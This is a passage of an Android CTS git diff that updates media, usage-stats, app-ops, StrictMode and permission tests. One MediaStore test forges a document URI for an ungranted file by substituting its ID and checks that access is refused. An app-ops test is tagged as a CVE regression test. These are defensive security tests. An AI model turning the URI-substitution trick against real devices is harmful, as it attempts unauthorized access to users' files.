mActivity.getResult(); + final Uri docUriOfFileWithAccess = result.data.getData(); + // Creating doc URI for file by string replacement + Uri docUriOfFileWithoutAccess = Uri.parse(docUriOfFileWithAccess.toSafeString().replaceAll( + String.valueOf(ContentUris.parseId(uriFilePairWithGrants.first)), + String.valueOf(ContentUris.parseId(uriFilePairWithoutGrants.first)))); + + try { + assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, docUriOfFileWithAccess.getAuthority()); + assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, + docUriOfFileWithoutAccess.getAuthority()); + // Test reading + try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor( + docUriOfFileWithoutAccess, "r")) { + fail("Expecting security exception as file does not have read grants which " + + "are provided through ACTION_OPEN_DOCUMENT intent."); + } catch (SecurityException expected) { + // Expected security exception as file does not have read grants + } + // Test writing + try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor( + docUriOfFileWithoutAccess, "wt")) { + fail("Expecting security exception as file does not have write grants which " + + "are provided through ACTION_OPEN_DOCUMENT intent."); + } catch (SecurityException expected) { + // Expected security exception as file does not have write grants + } + } finally { + // Deleting files + uriFilePairWithGrants.second.delete(); + uriFilePairWithoutGrants.second.delete(); + } + } + private void assertAccessToMediaUri(Uri mediaUri, File file) { final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME}; try (Cursor c = mContext.getContentResolver().query( @@ -310,7 +414,7 @@ public class MediaStoreUiTest { } private void prepareFile() throws Exception { - final File dir = new File(getVolumePath(mVolumeName), + final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)), Environment.DIRECTORY_DOCUMENTS); final File file = new File(dir, "cts" + System.nanoTime() + ".txt"); @@ -320,6 +424,29 @@ public class MediaStoreUiTest { Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri); } + private void prepareFile(String rawText) throws Exception { + final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)), + Environment.DIRECTORY_DOCUMENTS); + final File file = new File(dir, "cts" + System.nanoTime() + ".txt"); + + mFile = stageFileWithRawText(rawText, file); + mMediaStoreUri = MediaStore.scanFile(mContext.getContentResolver(), mFile); + + Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri); + } + + private Pair<Uri, File> prepareFileAndFetchDetails(String rawText) throws Exception { + final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)), + Environment.DIRECTORY_DOCUMENTS); + final File file = new File(dir, "cts" + System.nanoTime() + ".txt"); + + File stagedFile = stageFileWithRawText(rawText, file); + + Uri uri = MediaStore.scanFile(mContext.getContentResolver(), stagedFile); + Log.v(TAG, "Staged " + stagedFile + " as " + uri); + return Pair.create(uri, stagedFile); + } + private void assertToolbarTitleEquals(String targetPackageName, String label) throws UiObjectNotFoundException { final UiSelector toolbarUiSelector = new UiSelector().resourceId( @@ -427,32 +554,28 @@ public class MediaStoreUiTest { // The caller may be trying to stage into a location only available to // the shell user, so we need to perform the entire copy as the shell final Context context = InstrumentationRegistry.getTargetContext(); - UserManager userManager = context.getSystemService(UserManager.class); - if (userManager.isSystemUser() && - FileUtils.contains(Environment.getStorageDirectory(), file)) { - executeShellCommand("mkdir -p " + file.getParent()); - - try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) { - final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor()); - final long skip = afd.getStartOffset(); - final long count = afd.getLength(); - - executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s", - source.getAbsolutePath(), skip, count, file.getAbsolutePath())); + final File dir = file.getParentFile(); + dir.mkdirs(); + if (!dir.exists()) { + throw new FileNotFoundException("Failed to create parent for " + file); + } + try (InputStream source = context.getResources().openRawResource(resId); + OutputStream target = new FileOutputStream(file)) { + FileUtils.copy(source, target); + } + return file; + } - // Force sync to try updating other views - executeShellCommand("sync"); - } - } else { - final File dir = file.getParentFile(); - dir.mkdirs(); - if (!dir.exists()) { - throw new FileNotFoundException("Failed to create parent for " + file); - } - try (InputStream source = context.getResources().openRawResource(resId); - OutputStream target = new FileOutputStream(file)) { - FileUtils.copy(source, target); - } + static File stageFileWithRawText(String rawText, File file) throws IOException { + final File dir = file.getParentFile(); + dir.mkdirs(); + if (!dir.exists()) { + throw new FileNotFoundException("Failed to create parent for " + file); + } + try (InputStream source = new ByteArrayInputStream( + rawText.getBytes(StandardCharsets.UTF_8)); + OutputStream target = new FileOutputStream(file)) { + FileUtils.copy(source, target); } return file; } diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java index a20a8f9ee00..c56103cc4bd 100644 --- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java +++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java @@ -259,6 +259,19 @@ public class UsageStatsTest { @AppModeFull(reason = "No usage events access in instant apps") @Test + public void testLastTimeVisible_launchActivityShouldBeDetected() throws Exception { + mUiDevice.wakeUp(); + dismissKeyguard(); // also want to start out with the keyguard dismissed. + + final long startTime = System.currentTimeMillis(); + launchSubActivity(Activities.ActivityOne.class); + final long endTime = System.currentTimeMillis(); + + verifyLastTimeVisibleWithinRange(startTime, endTime, mTargetPackage); + } + + @AppModeFull(reason = "No usage events access in instant apps") + @Test public void testLastTimeAnyComponentUsed_launchActivityShouldBeDetected() throws Exception { mUiDevice.wakeUp(); dismissKeyguard(); // also want to start out with the keyguard dismissed. @@ -311,6 +324,17 @@ public class UsageStatsTest { verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG); } + private void verifyLastTimeVisibleWithinRange( + long startTime, long endTime, String targetPackage) { + final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats( + startTime, endTime); + final UsageStats stats = map.get(targetPackage); + assertNotNull(stats); + final long lastTimeVisible = stats.getLastTimeVisible(); + assertLessThanOrEqual(startTime, lastTimeVisible); + assertLessThanOrEqual(lastTimeVisible, endTime); + } + private void verifyLastTimeAnyComponentUsedWithinRange( long startTime, long endTime, String targetPackage) { final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats( diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp index 33e53a58ee2..bd34b7d01f0 100644 --- a/tests/tests/appop/Android.bp +++ b/tests/tests/appop/Android.bp @@ -82,7 +82,7 @@ android_test { "libbacktrace", "libbase", "libbinder", - "libbpf", + "libbpf_bcc", "libbpf_android", "libc++", "libcgrouprc", diff --git a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeTest.kt b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt index fc635f2871d..d6e9f126272 100644 --- a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeTest.kt +++ b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt @@ -33,7 +33,9 @@ import android.content.Intent import android.content.Intent.FLAG_ACTIVITY_NEW_TASK import android.content.ServiceConnection import android.os.IBinder +import android.os.Process import android.platform.test.annotations.AppModeFull +import android.platform.test.annotations.AsbSecurityTest import android.provider.Settings import android.provider.Settings.Global.APP_OPS_CONSTANTS import android.support.test.uiautomator.UiDevice @@ -47,12 +49,14 @@ import org.junit.Before import org.junit.Test import java.util.concurrent.CompletableFuture import java.util.concurrent.TimeUnit.MILLISECONDS +import java.util.concurrent.TimeoutException private const val TEST_SERVICE_PKG = "android.app.appops.cts.appthatcanbeforcedintoforegroundstates" private const val TIMEOUT_MILLIS = 45000L +private const val EXPECTED_TIMEOUT_MILLIS = 5000L @AppModeFull(reason = "This test connects to other test app") -class ForegroundModeTest { +class ForegroundModeAndActiveTest { private var previousAppOpsConstants: String? = null private val instrumentation = InstrumentationRegistry.getInstrumentation() @@ -361,6 +365,55 @@ class ForegroundModeTest { gotCallback.get(TIMEOUT_MILLIS, MILLISECONDS) } + @Test + @AsbSecurityTest(cveBugId = [208662370]) + fun activeNotChangedAfterMultipleStartsUidModeChangeAndOneStop() { + val finishCallback = CompletableFuture<Unit>() + val startCallback = CompletableFuture<Unit>() + runWithShellPermissionIdentity { + appopsManager.startWatchingActive(arrayOf(OPSTR_FINE_LOCATION), context.mainExecutor) { + op, uid, pkgName, active -> + if (pkgName == context.packageName) { + if (active) { + startCallback.complete(Unit) + } else { + finishCallback.complete(Unit) + } + } + } + } + + // Start three times + val numStarts = 3 + for (i in 1..numStarts) { + appopsManager.startOp(OPSTR_FINE_LOCATION, Process.myUid(), context.packageName, null, + null) + } + + // Wait for start + startCallback.get(TIMEOUT_MILLIS, MILLISECONDS) + withTopActivity { + // After moving to foreground, finish three times. We expect no callback until the third + for (i in 1..numStarts) { + context.getSystemService(AppOpsManager::class.java)!!.finishOp(OPSTR_FINE_LOCATION, + Process.myUid(), context.packageName, null) + val exception = try { + finishCallback.get(EXPECTED_TIMEOUT_MILLIS, MILLISECONDS) + null + } catch (e: TimeoutException) { + e + } + if (i < numStarts) { + Assert.assertNotNull("Got an active=false callback, but did not expect to", + exception) + } else { + Assert.assertNull("Expected to get an active=false callback after 3 stops", + exception) + } + } + } + } + @After fun cleanup() { foregroundControlService.cleanup() diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp index 891ebc331ef..eed4fc3d022 100644 --- a/tests/tests/libcoreapievolution/Android.bp +++ b/tests/tests/libcoreapievolution/Android.bp @@ -30,6 +30,6 @@ android_test { test_suites: [ "cts", "general-tests", - "mts", + "mts-art", ], } diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp index 58c388c4314..3febb32d74f 100644 --- a/tests/tests/libcorefileio/Android.bp +++ b/tests/tests/libcorefileio/Android.bp @@ -30,6 +30,6 @@ android_test { test_suites: [ "cts", "general-tests", - "mts", + "mts-art", ], } diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp index 44a997a7e10..98684b26a93 100644 --- a/tests/tests/libcorelegacy22/Android.bp +++ b/tests/tests/libcorelegacy22/Android.bp @@ -26,6 +26,6 @@ android_test { test_suites: [ "cts", "general-tests", - "mts", + "mts-art", ], } diff --git a/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java b/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java index d5d01c8f8bf..0df3b1bf447 100644 --- a/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java +++ b/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java @@ -162,6 +162,8 @@ abstract class MediaPlayerStressTest extends InstrumentationTestCase { } } + Preconditions.assertTestFileExists(mediaName); + File playbackOutput = new File(WorkDir.getTopDir(), "PlaybackTestResult.txt"); Writer output = new BufferedWriter(new FileWriter(playbackOutput, true)); diff --git a/tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java b/tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java new file mode 100644 index 00000000000..6fc2b8af79d --- /dev/null +++ b/tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.mediastress.cts; + +import java.io.File; + +import junit.framework.Assert; + +/** + * Static methods used to validate preconditions in the media CTS suite + * to simplify failure diagnosis. + */ + +public final class Preconditions { + private static final String TAG = "Preconditions"; + + public static void assertTestFileExists(String pathName) { + File testFile = new File(pathName); + Assert.assertTrue("Test Setup Error, missing file: " + pathName, testFile.exists()); + } + + private Preconditions() {} +} diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4 Binary files differnew file mode 100644 index 00000000000..41f6c2274a8 --- /dev/null +++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4 diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4 Binary files differnew file mode 100644 index 00000000000..7211fec18b2 --- /dev/null +++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4 diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java index 33bb8b72b95..a88f81c9004 100644 --- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java +++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java @@ -91,9 +91,9 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { // Default setting for transcoding to H.264. private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC; - private static final int BIT_RATE = 20000000; // 20Mbps - private static final int WIDTH = 1920; - private static final int HEIGHT = 1080; + private static final int BIT_RATE = 4000000; // 4Mbps + private static final int WIDTH = 720; + private static final int HEIGHT = 480; // Threshold for the psnr to make sure the transcoded video is valid. private static final int PSNR_THRESHOLD = 20; @@ -151,9 +151,9 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { androidx.test.InstrumentationRegistry.registerInstance( InstrumentationRegistry.getInstrumentation(), new Bundle()); - // Setup source HEVC file uri. - mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_30Frames, - "Video_HEVC_30Frames.mp4"); + // Setup default source HEVC 480p file uri. + mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_480p_30Frames, + "Video_HEVC_480p_30Frames.mp4"); // Setup source AVC file uri. mSourceAVCVideoUri = resourceToUri(mContext, R.raw.Video_AVC_30Frames, @@ -344,7 +344,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { // Tests transcoding to a uri in res folder and expects failure as test could not write to res // folder. public void testTranscodingToResFolder() throws Exception { - if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { + if (shouldSkip()) { return; } // Create a file Uri: android.resource://android.media.cts/temp.mp4 @@ -358,7 +358,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { // Tests transcoding to a uri in internal cache folder and expects success. public void testTranscodingToCacheDir() throws Exception { - if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { + if (shouldSkip()) { return; } // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4 @@ -372,7 +372,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { // Tests transcoding to a uri in internal files directory and expects success. public void testTranscodingToInternalFilesDir() throws Exception { - if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { + if (shouldSkip()) { return; } // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4 @@ -383,6 +383,14 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { TranscodingSession.RESULT_SUCCESS); } + public void testHevcTranscoding720PVideo30FramesWithoutAudio() throws Exception { + if (shouldSkip()) { + return; + } + transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_720p_30Frames, + "Video_HEVC_720p_30Frames.mp4"), false /* testFileDescriptor */); + } + public void testAvcTranscoding1080PVideo30FramesWithoutAudio() throws Exception { if (shouldSkip()) { return; @@ -566,7 +574,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { } public void testCancelTranscoding() throws Exception { - if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { + if (shouldSkip()) { return; } Log.d(TAG, "Starting: testCancelTranscoding"); @@ -657,7 +665,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { }*/ public void testTranscodingProgressUpdate() throws Exception { - if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { + if (shouldSkip()) { return; } Log.d(TAG, "Starting: testTranscodingProgressUpdate"); @@ -709,7 +717,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { } public void testAddingClientUids() throws Exception { - if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { + if (shouldSkip()) { return; } Log.d(TAG, "Starting: testTranscodingProgressUpdate"); @@ -786,27 +794,6 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { return videoFormat; } - private boolean isVideoTranscodingSupported(Uri fileUri) throws IOException { - MediaFormat sourceFormat = getVideoTrackFormat(fileUri); - if (sourceFormat != null) { - // Since destination format is not available, we assume width, height and - // frame rate same as source format, and mime as AVC for destination format. - MediaFormat destinationFormat = new MediaFormat(); - destinationFormat.setString(MediaFormat.KEY_MIME, MIME_TYPE); - destinationFormat.setInteger(MediaFormat.KEY_WIDTH, - sourceFormat.getInteger(MediaFormat.KEY_WIDTH)); - destinationFormat.setInteger(MediaFormat.KEY_HEIGHT, - sourceFormat.getInteger(MediaFormat.KEY_HEIGHT)); - if (sourceFormat.containsKey(MediaFormat.KEY_FRAME_RATE)) { - destinationFormat.setInteger(MediaFormat.KEY_FRAME_RATE, - sourceFormat.getInteger(MediaFormat.KEY_FRAME_RATE)); - } - return isFormatSupported(sourceFormat, false) - && isFormatSupported(destinationFormat, true); - } - return false; - } - private boolean isFormatSupported(MediaFormat format, boolean isEncoder) { String mime = format.getString(MediaFormat.KEY_MIME); MediaCodec codec = null; diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java index 0b5ed0d56f0..54caf6b47b8 100644 --- a/tests/tests/os/src/android/os/cts/StrictModeTest.java +++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java @@ -77,6 +77,7 @@ import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; +import java.io.BufferedOutputStream; import java.io.File; import java.io.FileDescriptor; import java.io.FileInputStream; @@ -147,6 +148,63 @@ public class StrictModeTest { } @Test + public void testThreadBuilder_detectUnbufferedIo() throws Exception { + StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder() + .penaltyLog() + .detectUnbufferedIo() + .build(); + StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder(policy).build()); + + final File test = File.createTempFile("foo", "bar"); + inspectViolation( + () -> { + writeUnbuffered(test); + }, + info -> { + assertThat(info.getViolationDetails()).isNull(); + assertThat(info.getStackTrace()).contains("UnbufferedIoViolation"); + }); + } + + @Test + public void testThreadBuilder_permitUnbufferedIo() throws Exception { + StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder() + .penaltyLog() + .permitUnbufferedIo() + .build(); + StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder(policy).build()); + + final File test = File.createTempFile("foo", "bar"); + inspectViolation( + () -> { + writeUnbuffered(test); + }, + info -> { + assertThat(info).isNull(); + }); + } + + private void writeUnbuffered(File file) throws Exception { + if (file.exists()) { + file.delete(); + } + + try (BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(file))) { + for (int i = 0; i < 11; i++) { + out.write(1); + out.write(2); + out.write(3); + out.write(4); + out.flush(); + } + } finally { + if (file.exists()) { + file.delete(); + } + } + } + + @Test public void testUnclosedCloseable() throws Exception { //clean before test System.gc(); diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml index 5ff702fb325..84470cd870d 100644 --- a/tests/tests/permission2/res/raw/android_manifest.xml +++ b/tests/tests/permission2/res/raw/android_manifest.xml @@ -5638,6 +5638,10 @@ <!-- Allows input events to be monitored. Very dangerous! @hide --> <permission android:name="android.permission.MONITOR_INPUT" android:protectionLevel="signature|recents" /> + <!-- Allows the use of FLAG_SLIPPERY, which permits touch events to slip from the current + window to the window where the touch currently is on top of. @hide --> + <permission android:name="android.permission.ALLOW_SLIPPERY_TOUCHES" + android:protectionLevel="signature|recents" /> <!-- Allows the caller to change the associations between input devices and displays. Very dangerous! @hide --> <permission android:name="android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY" diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp index 4fd9b5152d3..e249fe342da 100644 --- a/tests/tests/permission3/Android.bp +++ b/tests/tests/permission3/Android.bp @@ -47,6 +47,7 @@ android_test { ":CtsUsePermissionApp30", ":CtsUsePermissionApp30WithBackground", ":CtsUsePermissionApp30WithBluetooth", + ":CtsUsePermissionApp31", ":CtsUsePermissionAppLatest", ":CtsUsePermissionAppLatestNone", ":CtsUsePermissionAppWithOverlay", diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml index 1536d580229..2342b6a4530 100644 --- a/tests/tests/permission3/AndroidTest.xml +++ b/tests/tests/permission3/AndroidTest.xml @@ -54,6 +54,7 @@ <option name="push" value="CtsUsePermissionApp30.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30.apk" /> <option name="push" value="CtsUsePermissionApp30WithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBackground.apk" /> <option name="push" value="CtsUsePermissionApp30WithBluetooth.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBluetooth.apk" /> + <option name="push" value="CtsUsePermissionApp31.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp31.apk" /> <option name="push" value="CtsUsePermissionAppLatest.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatest.apk" /> <option name="push" value="CtsUsePermissionAppLatestNone.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestNone.apk" /> <option name="push" value="CtsUsePermissionAppWithOverlay.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppWithOverlay.apk" /> diff --git a/tests/tests/permission3/UsePermissionApp31/Android.bp b/tests/tests/permission3/UsePermissionApp31/Android.bp new file mode 100644 index 00000000000..48a2d4fa901 --- /dev/null +++ b/tests/tests/permission3/UsePermissionApp31/Android.bp @@ -0,0 +1,32 @@ +// +// Copyright (C) 2021 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CtsUsePermissionApp31", + srcs: [ + ":CtsUsePermissionAppSrc", + ], + static_libs: [ + "kotlin-stdlib", + ], + certificate: ":cts-testkey2", + target_sdk_version: "31", + min_sdk_version: "31", +} diff --git a/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml new file mode 100644 index 00000000000..f6d9b29221b --- /dev/null +++ b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml @@ -0,0 +1,28 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + ~ Copyright (C) 2021 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> +<manifest + xmlns:android="http://schemas.android.com/apk/res/android" + package="android.permission3.cts.usepermission"> + <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> + <uses-permission android:name="android.permission.RECORD_AUDIO" /> + <uses-permission android:name="android.permission.CAMERA" /> + <application> + <activity android:name=".CheckCalendarAccessActivity" android:exported="true" /> + <activity android:name=".FinishOnCreateActivity" android:exported="true" /> + <activity android:name=".RequestPermissionsActivity" android:exported="true" /> + </application> +</manifest> diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt index 901cc3504ac..49646f4fe18 100644 --- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt @@ -158,6 +158,10 @@ abstract class BasePermissionTest { waitForIdle() } + protected fun clickPermissionControllerUi(selector: BySelector, timeoutMillis: Long = 20_000) { + click(selector.pkg(context.packageManager.permissionControllerPackageName), timeoutMillis) + } + protected fun pressBack() { uiDevice.pressBack() waitForIdle() diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt index 78675bd740e..6c69a6522ac 100644 --- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt @@ -52,6 +52,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() { const val APP_APK_PATH_28 = "$APK_DIRECTORY/CtsUsePermissionApp28.apk" const val APP_APK_PATH_29 = "$APK_DIRECTORY/CtsUsePermissionApp29.apk" const val APP_APK_PATH_30 = "$APK_DIRECTORY/CtsUsePermissionApp30.apk" + const val APP_APK_PATH_31 = "$APK_DIRECTORY/CtsUsePermissionApp31.apk" + const val APP_APK_PATH_30_WITH_BACKGROUND = "$APK_DIRECTORY/CtsUsePermissionApp30WithBackground.apk" const val APP_APK_PATH_30_WITH_BLUETOOTH = @@ -449,7 +451,7 @@ abstract class BaseUsePermissionTest : BasePermissionTest() { if (isWatch) { click(By.text(permissionLabel), 40_000) } else { - click(By.text(permissionLabel)) + clickPermissionControllerUi(By.text(permissionLabel)) } val wasGranted = if (isAutomotive) { diff --git a/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt new file mode 100644 index 00000000000..37e9d41fe5c --- /dev/null +++ b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt @@ -0,0 +1,156 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.permission3.cts + +import android.content.Intent +import android.hardware.SensorPrivacyManager +import android.hardware.SensorPrivacyManager.Sensors.CAMERA +import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE +import android.location.LocationManager +import android.os.Build +import android.provider.DeviceConfig +import android.provider.Settings +import android.support.test.uiautomator.By +import androidx.test.filters.SdkSuppress +import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity +import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity +import org.junit.After +import org.junit.Assume +import org.junit.Before +import org.junit.Test + +/** + * Banner card display tests on sensors being blocked + */ +@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) +class SensorBlockedBannerTest : BaseUsePermissionTest() { + companion object { + const val LOCATION = -1 + const val WARNING_BANNER_ENABLED = "warning_banner_enabled" + } + + val sensorPrivacyManager = context.getSystemService(SensorPrivacyManager::class.java)!! + val locationManager = context.getSystemService(LocationManager::class.java)!! + private val originalEnabledValue = callWithShellPermissionIdentity { + DeviceConfig.getString(DeviceConfig.NAMESPACE_PRIVACY, + WARNING_BANNER_ENABLED, false.toString()) + } + + private val permToLabel = mapOf(CAMERA to "privdash_label_camera", + MICROPHONE to "privdash_label_microphone", + LOCATION to "privdash_label_location") + + private val permToTitle = mapOf(CAMERA to "blocked_camera_title", + MICROPHONE to "blocked_microphone_title", + LOCATION to "blocked_location_title") + + @Before + fun setup() { + Assume.assumeFalse(isTv) + // TODO(b/203784852) Auto will eventually support the blocked sensor banner, but there won't + // be support in T or below + Assume.assumeFalse(isAutomotive) + installPackage(APP_APK_PATH_31) + runWithShellPermissionIdentity { + DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, + WARNING_BANNER_ENABLED, true.toString(), false) + } + } + + @After + fun restoreWarningBannerState() { + runWithShellPermissionIdentity { + DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, + WARNING_BANNER_ENABLED, originalEnabledValue, false) + } + } + + private fun navigateAndTest(sensor: Int) { + val permLabel = permToLabel.getOrDefault(sensor, "Break") + val intent = Intent(Settings.ACTION_PRIVACY_SETTINGS) + .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + context.startActivity(intent) + click(By.text(getPermissionControllerString("app_permission_manager"))) + click(By.text(getPermissionControllerString(permLabel))) + val bannerTitle = permToTitle.getOrDefault(sensor, "Break") + waitFindObject(By.text(getPermissionControllerString(bannerTitle))) + pressBack() + pressBack() + pressBack() + } + + private fun runSensorTest(sensor: Int) { + val blocked = isSensorPrivacyEnabled(sensor) + if (!blocked) { + setSensor(sensor, true) + } + navigateAndTest(sensor) + if (!blocked) { + setSensor(sensor, false) + } + } + + @Test + fun testCameraCardDisplayed() { + Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(CAMERA)) + 